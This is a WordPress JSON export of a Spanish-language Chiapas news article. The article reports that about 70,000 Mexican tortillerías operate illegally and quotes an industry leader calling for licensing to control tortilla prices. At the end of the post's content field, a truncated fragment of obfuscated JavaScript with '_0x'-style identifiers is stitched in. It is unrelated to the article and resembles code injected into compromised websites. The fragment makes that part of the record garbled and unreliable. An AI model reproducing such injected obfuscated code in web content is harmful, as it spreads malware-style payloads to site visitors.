{"id":5812,"date":"2022-10-15T00:13:50","date_gmt":"2022-10-15T00:13:50","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=5812"},"modified":"2022-10-15T00:13:50","modified_gmt":"2022-10-15T00:13:50","slug":"70-mil-tortillerias-operan-en-el-clandestinaje","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=5812","title":{"rendered":"70 mil tortiller\u00edas operan en el clandestinaje"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"765\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/IMG-20221014-WA0015-1024x765.jpg\" alt=\"\" class=\"wp-image-5813\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/IMG-20221014-WA0015-1024x765.jpg 1024w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/IMG-20221014-WA0015-300x224.jpg 300w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/IMG-20221014-WA0015-768x574.jpg 768w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/IMG-20221014-WA0015-1536x1148.jpg 1536w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2022\/10\/IMG-20221014-WA0015.jpg 1600w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Rodolfo Flores.14 de octubre del 2022. Tuxtla Guti\u00e9rrez.- Cerca de 70 mil tortiller\u00edas en M\u00e9xico operan de manera ilegal, por lo que, es necesario meterlas en cintura  para evitar m\u00e1s incrementos al costo del producto. Cabe recordar que, en d\u00edas pasados el gobierno federal realiz\u00f3 un pacto con 15 empresas para contener el incremento en los costos de los comestibles, sin embargo, consideran que es necesario regular el comercio irregular para tener un control del precio y este no se eleve m\u00e1s.En el caso de este sector fueron dos empresas harineras, las que se sumaron sin embargo no tomaron en cuenta un factor importante.Jos\u00e9 Ram\u00f3n Salazar Ballinas presidente de los industriales de la Masa y La Tortilla en Chiapas dijo que: \u201cNo consideran que m\u00e1s del 80 por ciento de la tortilla que consumen las familias sale de las tortillas tradicionales \u201ccon nosotros no hubo un pacto, un convenio, esto significa que la negociaci\u00f3n va a contener los precios de la harina, hasta el mes de febrero, pero en el costo del ma\u00edz, ser\u00e1 diferente y en algunas regiones donde se consume m\u00e1s, el producto derivado del grano no se notar\u00e1 esta acci\u00f3n\u201d, expres\u00f3.Dijo que los, industriales de la masa y la tortilla tienen un pacto en 27 estados, trabajando con una representaci\u00f3n individual por cada entidad.\u201cSomos 27 estados los que queremos sentarnos con el secretario de gobierno para dar una soluci\u00f3n al incremento constante del precio de la tortilla debe darse un orden estricto\u201d, coment\u00f3.A nivel nacional existe un promedio de 110 mil tortiller\u00edas y molinos, de las cuales 70 mil trabajan de manera irregular, no est\u00e1n dados de alta, no pagan impuestos, no tienen asegurados a sus trabajadores.Por ello, la propuesta de los tortilleros legalmente establecidos es que a casa una de las tortiller\u00edas se le otorgue una licencia de mantenimiento, para que se tenga la certeza que pague impuestos, se tenga un control del mercado, as\u00ed como de los costos.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>Rodolfo Flores.14 de octubre del 2022. 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